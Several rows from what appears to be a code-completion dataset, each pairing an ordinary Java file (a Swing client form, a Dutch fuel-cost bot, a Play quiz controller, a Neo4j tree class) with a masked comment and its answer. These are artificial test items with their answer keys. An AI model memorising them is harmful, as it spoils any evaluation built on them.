out.setText("Localizacion por defecto");
}
try{
String cif, nombre, tfno;
Boolean eliminado;
Integer zona;
cif = ((String)jTable1.getValueAt(row, CIF)).trim();
nombre = ((String)jTable1.getValueAt(row, NOMBRE)).trim();
tfno = ((String)jTable1.getValueAt(row, TFNO)).trim();
eliminado = (Boolean)jTable1.getValueAt(row, ELIMINADO);
if(eliminado == null){
eliminado = new Boolean(false);
m.setValueAt(eliminado, row, ELIMINADO);
}
//zona = (Integer)jTable1.getValueAt(row, DEPARTAMENTO);
//if(zona != null){
//public int insertar(String cif, String nombre, String localizacion, String tfno, String email, String web, String persContacto, boolean eliminado)
if((new MantenimientoDB.Clientes().insertar(cif, nombre, localizacion, tfno, email, web, contacto, eliminado.booleanValue()))==1){
out.setText("Insercion realizada con exito");
}else{
out.setText("Insercion erronea");
//Dejamos la linea por si ha habido algun error de escritura
}
/*}else
out.setText("No se ha insertado el departamento");*/
}catch(NullPointerException nu){
out.setText("Error en la introduccion de datos");
}
}else
out.setText("Error fila no valida");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_insertarActionPerformed
/*Cuando implementemos la ventana para PuntoDeVenta de clientes tendremos que tener en cuenta los pedidos del Cliente*/
private void modificarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_modificarActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
//public int modificar(String antiguoCif, String nuevoCif, String nombre, String localizacion, String tfno, String email, String web, String persContacto, int zona)
String oldCif, newCif, nombre, localizacion, tfno, email, web, contacto;
Boolean eliminado;
Integer zona;
try{
oldCif = ((String)jTable1.getValueAt(row, CIF)).trim();
//System.out.println("oldCif: '"+oldCif+"'");
nombre = ((String)jTable1.getValueAt(row, NOMBRE)).trim();
//System.out.println("nombre: '"+nombre+"'");
localizacion = ((String)jTable1.getValueAt(row, LOCALIZACION)).trim();
//System.out.println("localizacion: '"+localizacion+"'");
tfno = ((String)jTable1.getValueAt(row, TFNO)).trim();
//System.out.println("Tfno: '"+tfno+"'");
email = ((String)jTable1.getValueAt(row, EMAIL)).trim();
//System.out.println("Email: '"+email+"'");
web = ((String)jTable1.getValueAt(row, WEB)).trim();
//System.out.println("Web: '"+web+"'");
contacto = ((String)jTable1.getValueAt(row, CONTACTO)).trim();
if(contacto == null){
contacto = "Fiesta1";
System.out.println("Contacto es null");
}
eliminado = (Boolean)jTable1.getValueAt(row, ELIMINADO);
/*if(eliminado == null)
System.out.println("Eliminado es null");*/
//zona =<SUF>
/*if(zona == null)
System.out.println("Zona es null");*/
newCif = ncif.getText();
if(!newCif.equals("")){
//public int modificar(String antiguoCif, String nuevoCif, String nombre, String localizacion, String tfno, String email, String web, String persContacto, boolean eliminado)
//if(zona != null){
if((new MantenimientoDB.Clientes().modificar(oldCif, newCif, nombre, localizacion, tfno, email, web, contacto, eliminado.booleanValue()))==1){
if(oldCif != newCif)
m.setValueAt(newCif, row, CIF);
out.setText("Modificacion realizada con exito");
ncif.setText("");
}else
out.setText("Error en la modificacion");
/*}else
out.setText("No tenemos una zona valida");*/
}else
out.setText("Nuevo cif incorrecto");
}catch(NullPointerException nu){
out.setText("Error en la recepcion de los datos");
contacto = "fiesta2";
System.out.println("Contacto: '"+contacto+"'");
}
}else
out.setText("Error fila no valida");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_modificarActionPerformed
private void limpiarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_limpiarActionPerformed
// TODO TEST
ncif.setText("");//Limpiamos el contenido del nuevo cif
Vector v = new Vector();
v.addElement(null); //Cada elemento del vector que le pasamos como dato a setDataVector es una fila!!!
m.setDataVector(v, vCol);
out.setText("Tabla limpiada!");
}//GEN-LAST:event_limpiarActionPerformed
private void menosActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_menosActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
try{
m.removeRow(jTable1.getSelectedRow());
}catch(ArrayIndexOutOfBoundsException ai){
System.out.println("No hay fila seleccionada");
}
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_menosActionPerformed
private void sumaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_sumaActionPerformed
// TODO TEST
Vector v = new Vector();
v.addElement(null);
m.addRow(v);
}//GEN-LAST:event_sumaActionPerformed
/** Exit the Application */
private void exitForm(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_exitForm
System.exit(0);
}//GEN-LAST:event_exitForm
/**
* @param args the command line arguments
*/
/*public static void main(String args[]) {
new Clientes().show();
}*/
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton aceptar;
private javax.swing.JButton buscar;
private javax.swing.JButton eliminar;
private javax.swing.JButton insertar;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
private javax.swing.JButton limpiar;
private javax.swing.JButton menos;
private javax.swing.JButton modificar;
private javax.swing.JTextField ncif;
private javax.swing.JTextField out;
private javax.swing.JButton pedidos;
private javax.swing.JButton suma;
// End of variables declaration//GEN-END:variables
}
|
17837_3 | import domain.Car;
import domain.Chauffeur;
import domain.TankSession;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.List;
public final class BotFunctions{
private static final Logger LOG = LoggerFactory.getLogger(BroozerCruiserBot.class);
static List<Chauffeur> chauffeurList = new ArrayList<>();
public static void setDummyData() {
Chauffeur niels = new Chauffeur("niels");
Chauffeur bruus = new Chauffeur("bruus");
Chauffeur britte = new Chauffeur("britte");
Chauffeur floriaan = new Chauffeur("floriaan");
TankSession tankSession = new TankSession();
Car car = new Car();
tankSession.setId(1);
car.setTankSession(tankSession);
chauffeurList.add(niels);
chauffeurList.add(britte);
chauffeurList.add(bruus);
chauffeurList.add(floriaan);
}
public static List<Chauffeur> getChauffeurList() {
return chauffeurList;
}
//input: personen en kmstand
//output: opgetelde gereden km en opgetelde kmstand
public static void addKmPerPerson(List<Chauffeur> chauffeurList, int mileage) {
Car car = chauffeurList.get(0).getCar();
double amountPerPerson = (double) car.caluclateAmountOfKm(mileage) / chauffeurList.size();
car.addSessionKmAmount(mileage);
for (Chauffeur chauffeur : chauffeurList) {
chauffeur.addAmountOfKm(amountPerPerson);
LOG.info(chauffeur.getName() + " " + amountPerPerson + " km added");
}
car.setMileage(mileage);
}
//input: totaal prijs
//output: lijst met tekst met hoeveel iedereen moet betalen
public static List<String> calculateCosts(int totalCost) {
//haal iedereen op uit database en zet in lijst:
// List<Chauffeur> chauffeurList = new ArrayList<>();
List<String> priceList = new ArrayList<>();
for (Chauffeur chauffeur : chauffeurList) {
double moneyOwed = totalCost * (chauffeur.getAmountOfKm() / chauffeur.getCar().getSessionKmAmount());
chauffeur.addTotalAMountMoneySpend(moneyOwed);
priceList.add(chauffeur.getName() + ": " + moneyOwed);
}
return priceList;
}
}
| nelisriebezos/BroozerCruiserBot | src/main/java/BotFunctions.java | 750 | //output: lijst met tekst met hoeveel iedereen moet betalen | line_comment | nl | import domain.Car;
import domain.Chauffeur;
import domain.TankSession;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.List;
public final class BotFunctions{
private static final Logger LOG = LoggerFactory.getLogger(BroozerCruiserBot.class);
static List<Chauffeur> chauffeurList = new ArrayList<>();
public static void setDummyData() {
Chauffeur niels = new Chauffeur("niels");
Chauffeur bruus = new Chauffeur("bruus");
Chauffeur britte = new Chauffeur("britte");
Chauffeur floriaan = new Chauffeur("floriaan");
TankSession tankSession = new TankSession();
Car car = new Car();
tankSession.setId(1);
car.setTankSession(tankSession);
chauffeurList.add(niels);
chauffeurList.add(britte);
chauffeurList.add(bruus);
chauffeurList.add(floriaan);
}
public static List<Chauffeur> getChauffeurList() {
return chauffeurList;
}
//input: personen en kmstand
//output: opgetelde gereden km en opgetelde kmstand
public static void addKmPerPerson(List<Chauffeur> chauffeurList, int mileage) {
Car car = chauffeurList.get(0).getCar();
double amountPerPerson = (double) car.caluclateAmountOfKm(mileage) / chauffeurList.size();
car.addSessionKmAmount(mileage);
for (Chauffeur chauffeur : chauffeurList) {
chauffeur.addAmountOfKm(amountPerPerson);
LOG.info(chauffeur.getName() + " " + amountPerPerson + " km added");
}
car.setMileage(mileage);
}
//input: totaal prijs
//output: lijst<SUF>
public static List<String> calculateCosts(int totalCost) {
//haal iedereen op uit database en zet in lijst:
// List<Chauffeur> chauffeurList = new ArrayList<>();
List<String> priceList = new ArrayList<>();
for (Chauffeur chauffeur : chauffeurList) {
double moneyOwed = totalCost * (chauffeur.getAmountOfKm() / chauffeur.getCar().getSessionKmAmount());
chauffeur.addTotalAMountMoneySpend(moneyOwed);
priceList.add(chauffeur.getName() + ": " + moneyOwed);
}
return priceList;
}
}
|
84302_20 | package controllers;
import java.util.*;
import at.ac.tuwien.big.we14.lab2.api.QuizGame;
import at.ac.tuwien.big.we14.lab2.api.User;
import models.Spieler;
import at.ac.tuwien.big.we14.lab2.api.*;
import at.ac.tuwien.big.we14.lab2.api.impl.*;
import org.h2.engine.*;
import play.data.format.Formats;
import play.data.validation.ValidationError;
import play.i18n.Lang;
import play.cache.Cache;
import play.data.Form;
import play.data.validation.Constraints;
import play.mvc.*;
import views.html.*;
import static play.data.Form.form;
//import play.api.i18n.Lang;
public class Application extends Controller {
/*final static Form<Spieler> signupForm = form(Spieler.class)
.bindFromRequest();*/
final static Form<Register> signupForm = form(Register.class)
.bindFromRequest();
// http://www.playframework.com/documentation/2.1.1/JavaGuide4
public static Result authentication() {
session().clear();
if(session("uuid") != null && Cache.get(session("uuid")) != null){
Cache.remove(session("uuid"));
}
return ok(authentication.render(form(Login.class)));
}
public static Result authenticationLang(String lang) {
changeLang(lang);
return authentication();
}
/**
* Login class used by Authentication Form.
*/
public static class Login {
//@Constraints.Required(message = "required.message")
public String username;
//@Constraints.Required(message = "Enter Password")
public String password;
/**
* Validate the authentication.
*
* @return null if validation ok, string with details otherwise
*/
public String validate() {
//String errors = null;
if (isBlank(username)) {
if(Controller.lang().language().equals("de")) {
return "Geben Sie bitte den Benutzernamen ein";
} else return "Please enter a username";
} else if (isBlank(password)) {
if(Controller.lang().language().equals("de")) {
return "Geben Sie bitte das Passwort ein";
} else return "Please enter password";
}
return null;
}
private boolean isBlank(String input) {
return input == null || input.isEmpty() || input.trim().isEmpty();
}
}
/**
* Register class used by Registration Form.
*/
public static class Register {
public String vorname;
public String nachname;
/*public enum Gender {
male,female;
public static List<String> gender() {
List<String> all = new ArrayList<String>();
all.add("male");
all.add("female");
return all;
}
} */
public Spieler.Gender gender;
@Formats.DateTime(pattern="yyyy-MM-dd")
public Date birthday;
//@Constraints.MinLength(4)
//@Constraints.MaxLength(16)
public String username;
//@Constraints.MinLength(4)
//@Constraints.MaxLength(16)
public String password;
/**
* Validate the authentication.
*
* @return null if validation ok, string with details otherwise
*/
public String validate() {
if (isBlank(username)) {
if(Controller.lang().language().equals("de")) {
return "Geben Sie bitte den Benutzernamen ein";
} else return "Username is required";
} else if (username.length()<4 || username.length()>8) {
if(Controller.lang().language().equals("de")) {
return "Der Benutzername muss zwischen 4 und 8 Zeichen lang sein";
} else return "Username must be between 4 and 8 symbols";
} else if (isBlank(password)) {
if(Controller.lang().language().equals("de")) {
return "Geben Sie bitte das Passwort ein";
} else return "Password is required";
} else if (password.length()<4 || password.length()>8) {
if(Controller.lang().language().equals("de")) {
return "Das Passwort muss zwischen 4 und 8 Zeichen lang sein";
} else return "Password must be between 4 and 8 symbols";
}
return null;
}
private boolean isBlank(String input) {
return input == null || input.isEmpty() || input.trim().isEmpty();
}
}
@play.db.jpa.Transactional
public static Result authenticate() { // TODO check if user exists in DB
Form<Login> loginForm = form(Login.class).bindFromRequest();
if (!loginForm.hasErrors()) {
session().clear();
session("username", loginForm.get().username);
if(session("uuid") != null && Cache.get(session("uuid")) != null){
Cache.remove(session("uuid"));
}
if (SignUp.authenticate(loginForm.get().username,
loginForm.get().password)) {
return redirect(routes.Application.index());
} else {
if(Controller.lang().language().equals("de")) {
flash("success", "Benutzername/Passwort falsch");
} else {flash("success", "Username/Password invalid");} //TODO: Improve error message
return redirect(routes.Application.authentication());
}
}
return badRequest(authentication.render(loginForm));
}
public static Result logout() {
session().clear();
flash("success", "You've been logged out");
return redirect(routes.Application.authentication());
}
@Security.Authenticated(Secured.class)
public static Result index() {
return ok(index.render(""));
}
public static Result registration() {
return ok(registration.render("", signupForm));
}
@Security.Authenticated(Secured.class)
public static Result quiz_new_player() {
// Check if session has ID. If not, set it
if (session("uuid") == null)
giveSessionID();
QuizGame game = (QuizGame) Cache.get(session("uuid"));
User user = new Spieler();
user.setName(session("username"));
if (game == null) {
// Neues Spiel starten
String lang = Controller.lang().language();
QuizFactory factory = new PlayQuizFactory("conf/data."+lang+".json", user);
game = factory.createQuizGame();
session("last_roundover", "false");
} else {
user = game.getPlayers().get(0);
if (game.isGameOver() && session("last_roundover").equals("true")) {
return quizover();
}
}
game.startNewRound(); // start new game/round
Round round = game.getCurrentRound();// current round
Question question = round.getCurrentQuestion(user); // current question
// of user
// ArrayList mit Informationen des Spiels befüllen
ArrayList<String> game_infos = new ArrayList<String>();
game_infos.add(game.getPlayers().get(0).getName());
game_infos.add(game.getPlayers().get(1).getName());
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add(question.getCategory().getName());
game_infos.add(question.getText());
// Alle Antworten in String umwandeln
ArrayList<Choice> choices = (ArrayList<Choice>) question
.getAllChoices(); // all possible choices for a question
ArrayList<String> allChoicesInString = new ArrayList<String>();
for (Choice c : choices) {
allChoicesInString.add(c.getText());
}
// Das Spiel im Cache speichern
Cache.set(session("uuid"), game);
return ok(quiz.render(game_infos, allChoicesInString));
}
@Security.Authenticated(Secured.class)
private static void giveSessionID() {
String uuid = java.util.UUID.randomUUID().toString();
session("uuid", uuid);
}
@Security.Authenticated(Secured.class)
public static Result quiz() {
// Das Spiel vom Cache laden
QuizGame game = (QuizGame) Cache.get(session("uuid"));
if (game.isGameOver() &&
session("last_roundover").equals("true")) {
return quizover();
}
// get request value from submitted form
Map<String, String[]> map = request().body().asFormUrlEncoded();
// get selected answers
String[] checkedVal = map.get("answers");
String time_left = map.get("timeleftvalue")[0];
User user = game.getPlayers().get(0);
User computer = game.getPlayers().get(1);
Round round = game.getCurrentRound();// current round
List<Choice> choices_clicked;
if (checkedVal != null) {
choices_clicked = stringToChoice(round.getCurrentQuestion(user)
.getAllChoices(), checkedVal);
} else {
choices_clicked = new ArrayList<Choice>();
}
game.answerCurrentQuestion(user, choices_clicked, Integer.parseInt(time_left));
if (game.isRoundOver()) {
return roundover();
}
Question question = round.getCurrentQuestion(user); // current question
// of user
question.getAllChoices(); // all possible choices for a question
// ArrayList mit Informationen des Spiels befüllen
ArrayList<String> game_infos = new ArrayList<String>();
game_infos.add(user.getName());
game_infos.add(computer.getName());
game_infos.add(getCorrectString(round.getAnswer(0, user).isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(0, computer)
.isCorrect()));
if (round.getAnswer(1, user) != null) {
game_infos.add(getCorrectString(round.getAnswer(1, user)
.isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(1, computer)
.isCorrect()));
} else {
game_infos.add("unknown");
game_infos.add("unknown");
}
if (round.getAnswer(2, user) != null) {
game_infos.add(getCorrectString(round.getAnswer(2, user)
.isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(2, computer)
.isCorrect()));
} else {
game_infos.add("unknown");
game_infos.add("unknown");
}
game_infos.add(question.getCategory().getName());
game_infos.add(question.getText());
question = round.getCurrentQuestion(user); // current question of user
// Alle Antworten in String umwandeln
ArrayList<Choice> choices = (ArrayList<Choice>) question
.getAllChoices(); // all possible choices for a question
ArrayList<String> allChoicesInString = new ArrayList<String>();
for (Choice c : choices) {
allChoicesInString.add(c.getText());
}
Cache.set(session("uuid"), game);
return ok(quiz.render(game_infos, allChoicesInString));
}
@Security.Authenticated(Secured.class)
public static Result quiz_info() {
if(session("uuid") != null && Cache.get(session("uuid")) != null){
Cache.remove(session("uuid"));
}
return quiz_new_player();
}
private static String getCorrectString(boolean correct) {
if (correct) {
return "correct";
} else {
return "incorrect";
}
}
// Change String[] of selected answers to List of Choices
private static List<Choice> stringToChoice(List<Choice> allChoices,
String[] checkedVal) {
ArrayList<Choice> selectedChoices = new ArrayList<Choice>();
for (Choice c : allChoices) {
for (int i = 0; i < checkedVal.length; i++) {
if (c.getText().equals(checkedVal[i])) {
selectedChoices.add(c);
}
}
}
return selectedChoices;
}
@Security.Authenticated(Secured.class)
public static Result roundover() {
// Das Spiel vom Cache laden
QuizGame game = (QuizGame) Cache.get(session("uuid"));
if (game.isGameOver()) {
session("last_roundover", "true");
}
Round round = game.getCurrentRound();
User user = game.getPlayers().get(0);
User computer = game.getPlayers().get(1);
// ArrayList mit Informationen des Spiels befüllen
ArrayList<String> game_infos = new ArrayList<String>();
String winner = "Kein Gewinner";
if (round.getRoundWinner() != null) {
winner = round.getRoundWinner().getName();
}
game_infos.add(winner);
game_infos.add("" + game.getCurrentRoundCount());
game_infos.add(game.getPlayers().get(0).getName());
game_infos.add(game.getPlayers().get(1).getName());
game_infos.add(getCorrectString(round.getAnswer(0, user).isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(1, user).isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(2, user).isCorrect()));
game_infos.add("" + game.getWonRounds(user));
game_infos.add(getCorrectString(round.getAnswer(0, computer)
.isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(1, computer)
.isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(2, computer)
.isCorrect()));
game_infos.add("" + game.getWonRounds(computer));
return ok(roundover.render(game_infos));
}
@Security.Authenticated(Secured.class)
public static Result quizover() {
QuizGame game = (QuizGame) Cache.get(session("uuid"));
// ArrayList mit Informationen des Spiels befüllen
ArrayList<String> game_infos = new ArrayList<String>();
String winner = "Kein Gewinner";
if (game.getWinner() != null) {
winner = game.getWinner().getName();
}
game_infos.add(winner);
game_infos.add("" + game.getWonRounds(game.getPlayers().get(0)));
game_infos.add("" + game.getWonRounds(game.getPlayers().get(1)));
game_infos.add("" + game.getPlayers().get(0).getName());
game_infos.add("" + game.getPlayers().get(1).getName());
Cache.set(session("uuid"), null, 0);
return ok(quizover.render(game_infos));
}
} | nemoko/we-lab3-group52 | app/controllers/Application.java | 4,203 | // get selected answers | line_comment | nl | package controllers;
import java.util.*;
import at.ac.tuwien.big.we14.lab2.api.QuizGame;
import at.ac.tuwien.big.we14.lab2.api.User;
import models.Spieler;
import at.ac.tuwien.big.we14.lab2.api.*;
import at.ac.tuwien.big.we14.lab2.api.impl.*;
import org.h2.engine.*;
import play.data.format.Formats;
import play.data.validation.ValidationError;
import play.i18n.Lang;
import play.cache.Cache;
import play.data.Form;
import play.data.validation.Constraints;
import play.mvc.*;
import views.html.*;
import static play.data.Form.form;
//import play.api.i18n.Lang;
public class Application extends Controller {
/*final static Form<Spieler> signupForm = form(Spieler.class)
.bindFromRequest();*/
final static Form<Register> signupForm = form(Register.class)
.bindFromRequest();
// http://www.playframework.com/documentation/2.1.1/JavaGuide4
public static Result authentication() {
session().clear();
if(session("uuid") != null && Cache.get(session("uuid")) != null){
Cache.remove(session("uuid"));
}
return ok(authentication.render(form(Login.class)));
}
public static Result authenticationLang(String lang) {
changeLang(lang);
return authentication();
}
/**
* Login class used by Authentication Form.
*/
public static class Login {
//@Constraints.Required(message = "required.message")
public String username;
//@Constraints.Required(message = "Enter Password")
public String password;
/**
* Validate the authentication.
*
* @return null if validation ok, string with details otherwise
*/
public String validate() {
//String errors = null;
if (isBlank(username)) {
if(Controller.lang().language().equals("de")) {
return "Geben Sie bitte den Benutzernamen ein";
} else return "Please enter a username";
} else if (isBlank(password)) {
if(Controller.lang().language().equals("de")) {
return "Geben Sie bitte das Passwort ein";
} else return "Please enter password";
}
return null;
}
private boolean isBlank(String input) {
return input == null || input.isEmpty() || input.trim().isEmpty();
}
}
/**
* Register class used by Registration Form.
*/
public static class Register {
public String vorname;
public String nachname;
/*public enum Gender {
male,female;
public static List<String> gender() {
List<String> all = new ArrayList<String>();
all.add("male");
all.add("female");
return all;
}
} */
public Spieler.Gender gender;
@Formats.DateTime(pattern="yyyy-MM-dd")
public Date birthday;
//@Constraints.MinLength(4)
//@Constraints.MaxLength(16)
public String username;
//@Constraints.MinLength(4)
//@Constraints.MaxLength(16)
public String password;
/**
* Validate the authentication.
*
* @return null if validation ok, string with details otherwise
*/
public String validate() {
if (isBlank(username)) {
if(Controller.lang().language().equals("de")) {
return "Geben Sie bitte den Benutzernamen ein";
} else return "Username is required";
} else if (username.length()<4 || username.length()>8) {
if(Controller.lang().language().equals("de")) {
return "Der Benutzername muss zwischen 4 und 8 Zeichen lang sein";
} else return "Username must be between 4 and 8 symbols";
} else if (isBlank(password)) {
if(Controller.lang().language().equals("de")) {
return "Geben Sie bitte das Passwort ein";
} else return "Password is required";
} else if (password.length()<4 || password.length()>8) {
if(Controller.lang().language().equals("de")) {
return "Das Passwort muss zwischen 4 und 8 Zeichen lang sein";
} else return "Password must be between 4 and 8 symbols";
}
return null;
}
private boolean isBlank(String input) {
return input == null || input.isEmpty() || input.trim().isEmpty();
}
}
@play.db.jpa.Transactional
public static Result authenticate() { // TODO check if user exists in DB
Form<Login> loginForm = form(Login.class).bindFromRequest();
if (!loginForm.hasErrors()) {
session().clear();
session("username", loginForm.get().username);
if(session("uuid") != null && Cache.get(session("uuid")) != null){
Cache.remove(session("uuid"));
}
if (SignUp.authenticate(loginForm.get().username,
loginForm.get().password)) {
return redirect(routes.Application.index());
} else {
if(Controller.lang().language().equals("de")) {
flash("success", "Benutzername/Passwort falsch");
} else {flash("success", "Username/Password invalid");} //TODO: Improve error message
return redirect(routes.Application.authentication());
}
}
return badRequest(authentication.render(loginForm));
}
public static Result logout() {
session().clear();
flash("success", "You've been logged out");
return redirect(routes.Application.authentication());
}
@Security.Authenticated(Secured.class)
public static Result index() {
return ok(index.render(""));
}
public static Result registration() {
return ok(registration.render("", signupForm));
}
@Security.Authenticated(Secured.class)
public static Result quiz_new_player() {
// Check if session has ID. If not, set it
if (session("uuid") == null)
giveSessionID();
QuizGame game = (QuizGame) Cache.get(session("uuid"));
User user = new Spieler();
user.setName(session("username"));
if (game == null) {
// Neues Spiel starten
String lang = Controller.lang().language();
QuizFactory factory = new PlayQuizFactory("conf/data."+lang+".json", user);
game = factory.createQuizGame();
session("last_roundover", "false");
} else {
user = game.getPlayers().get(0);
if (game.isGameOver() && session("last_roundover").equals("true")) {
return quizover();
}
}
game.startNewRound(); // start new game/round
Round round = game.getCurrentRound();// current round
Question question = round.getCurrentQuestion(user); // current question
// of user
// ArrayList mit Informationen des Spiels befüllen
ArrayList<String> game_infos = new ArrayList<String>();
game_infos.add(game.getPlayers().get(0).getName());
game_infos.add(game.getPlayers().get(1).getName());
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add("unknown");
game_infos.add(question.getCategory().getName());
game_infos.add(question.getText());
// Alle Antworten in String umwandeln
ArrayList<Choice> choices = (ArrayList<Choice>) question
.getAllChoices(); // all possible choices for a question
ArrayList<String> allChoicesInString = new ArrayList<String>();
for (Choice c : choices) {
allChoicesInString.add(c.getText());
}
// Das Spiel im Cache speichern
Cache.set(session("uuid"), game);
return ok(quiz.render(game_infos, allChoicesInString));
}
@Security.Authenticated(Secured.class)
private static void giveSessionID() {
String uuid = java.util.UUID.randomUUID().toString();
session("uuid", uuid);
}
@Security.Authenticated(Secured.class)
public static Result quiz() {
// Das Spiel vom Cache laden
QuizGame game = (QuizGame) Cache.get(session("uuid"));
if (game.isGameOver() &&
session("last_roundover").equals("true")) {
return quizover();
}
// get request value from submitted form
Map<String, String[]> map = request().body().asFormUrlEncoded();
// get selected<SUF>
String[] checkedVal = map.get("answers");
String time_left = map.get("timeleftvalue")[0];
User user = game.getPlayers().get(0);
User computer = game.getPlayers().get(1);
Round round = game.getCurrentRound();// current round
List<Choice> choices_clicked;
if (checkedVal != null) {
choices_clicked = stringToChoice(round.getCurrentQuestion(user)
.getAllChoices(), checkedVal);
} else {
choices_clicked = new ArrayList<Choice>();
}
game.answerCurrentQuestion(user, choices_clicked, Integer.parseInt(time_left));
if (game.isRoundOver()) {
return roundover();
}
Question question = round.getCurrentQuestion(user); // current question
// of user
question.getAllChoices(); // all possible choices for a question
// ArrayList mit Informationen des Spiels befüllen
ArrayList<String> game_infos = new ArrayList<String>();
game_infos.add(user.getName());
game_infos.add(computer.getName());
game_infos.add(getCorrectString(round.getAnswer(0, user).isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(0, computer)
.isCorrect()));
if (round.getAnswer(1, user) != null) {
game_infos.add(getCorrectString(round.getAnswer(1, user)
.isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(1, computer)
.isCorrect()));
} else {
game_infos.add("unknown");
game_infos.add("unknown");
}
if (round.getAnswer(2, user) != null) {
game_infos.add(getCorrectString(round.getAnswer(2, user)
.isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(2, computer)
.isCorrect()));
} else {
game_infos.add("unknown");
game_infos.add("unknown");
}
game_infos.add(question.getCategory().getName());
game_infos.add(question.getText());
question = round.getCurrentQuestion(user); // current question of user
// Alle Antworten in String umwandeln
ArrayList<Choice> choices = (ArrayList<Choice>) question
.getAllChoices(); // all possible choices for a question
ArrayList<String> allChoicesInString = new ArrayList<String>();
for (Choice c : choices) {
allChoicesInString.add(c.getText());
}
Cache.set(session("uuid"), game);
return ok(quiz.render(game_infos, allChoicesInString));
}
@Security.Authenticated(Secured.class)
public static Result quiz_info() {
if(session("uuid") != null && Cache.get(session("uuid")) != null){
Cache.remove(session("uuid"));
}
return quiz_new_player();
}
private static String getCorrectString(boolean correct) {
if (correct) {
return "correct";
} else {
return "incorrect";
}
}
// Change String[] of selected answers to List of Choices
private static List<Choice> stringToChoice(List<Choice> allChoices,
String[] checkedVal) {
ArrayList<Choice> selectedChoices = new ArrayList<Choice>();
for (Choice c : allChoices) {
for (int i = 0; i < checkedVal.length; i++) {
if (c.getText().equals(checkedVal[i])) {
selectedChoices.add(c);
}
}
}
return selectedChoices;
}
@Security.Authenticated(Secured.class)
public static Result roundover() {
// Das Spiel vom Cache laden
QuizGame game = (QuizGame) Cache.get(session("uuid"));
if (game.isGameOver()) {
session("last_roundover", "true");
}
Round round = game.getCurrentRound();
User user = game.getPlayers().get(0);
User computer = game.getPlayers().get(1);
// ArrayList mit Informationen des Spiels befüllen
ArrayList<String> game_infos = new ArrayList<String>();
String winner = "Kein Gewinner";
if (round.getRoundWinner() != null) {
winner = round.getRoundWinner().getName();
}
game_infos.add(winner);
game_infos.add("" + game.getCurrentRoundCount());
game_infos.add(game.getPlayers().get(0).getName());
game_infos.add(game.getPlayers().get(1).getName());
game_infos.add(getCorrectString(round.getAnswer(0, user).isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(1, user).isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(2, user).isCorrect()));
game_infos.add("" + game.getWonRounds(user));
game_infos.add(getCorrectString(round.getAnswer(0, computer)
.isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(1, computer)
.isCorrect()));
game_infos.add(getCorrectString(round.getAnswer(2, computer)
.isCorrect()));
game_infos.add("" + game.getWonRounds(computer));
return ok(roundover.render(game_infos));
}
@Security.Authenticated(Secured.class)
public static Result quizover() {
QuizGame game = (QuizGame) Cache.get(session("uuid"));
// ArrayList mit Informationen des Spiels befüllen
ArrayList<String> game_infos = new ArrayList<String>();
String winner = "Kein Gewinner";
if (game.getWinner() != null) {
winner = game.getWinner().getName();
}
game_infos.add(winner);
game_infos.add("" + game.getWonRounds(game.getPlayers().get(0)));
game_infos.add("" + game.getWonRounds(game.getPlayers().get(1)));
game_infos.add("" + game.getPlayers().get(0).getName());
game_infos.add("" + game.getPlayers().get(1).getName());
Cache.set(session("uuid"), null, 0);
return ok(quizover.render(game_infos));
}
} |
23993_1 | /*
* Copyright (c) "Neo4j"
* Neo4j Sweden AB [http://neo4j.com]
*
* This file is part of Neo4j.
*
* Neo4j is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.neo4j.gds.steiner;
import org.neo4j.gds.collections.ha.HugeObjectArray;
import org.neo4j.gds.mem.MemoryEstimation;
import org.neo4j.gds.mem.MemoryEstimations;
class LinkCutTree {
//Look here: https://dl.acm.org/doi/pdf/10.1145/3828.3835
private final HugeObjectArray<LinkCutNode> nodes;
private final HugeObjectArray<LinkCutNode> edgeInTree;
static MemoryEstimation estimation() {
var linkCutNodeMemoryEstimation = 8 + 8 + 8 + 8 + 8;
var memoryEstimationBuilder = MemoryEstimations.builder(LinkCutTree.class)
.perNode("nodes", nodeCount -> HugeObjectArray.memoryEstimation(nodeCount, linkCutNodeMemoryEstimation))
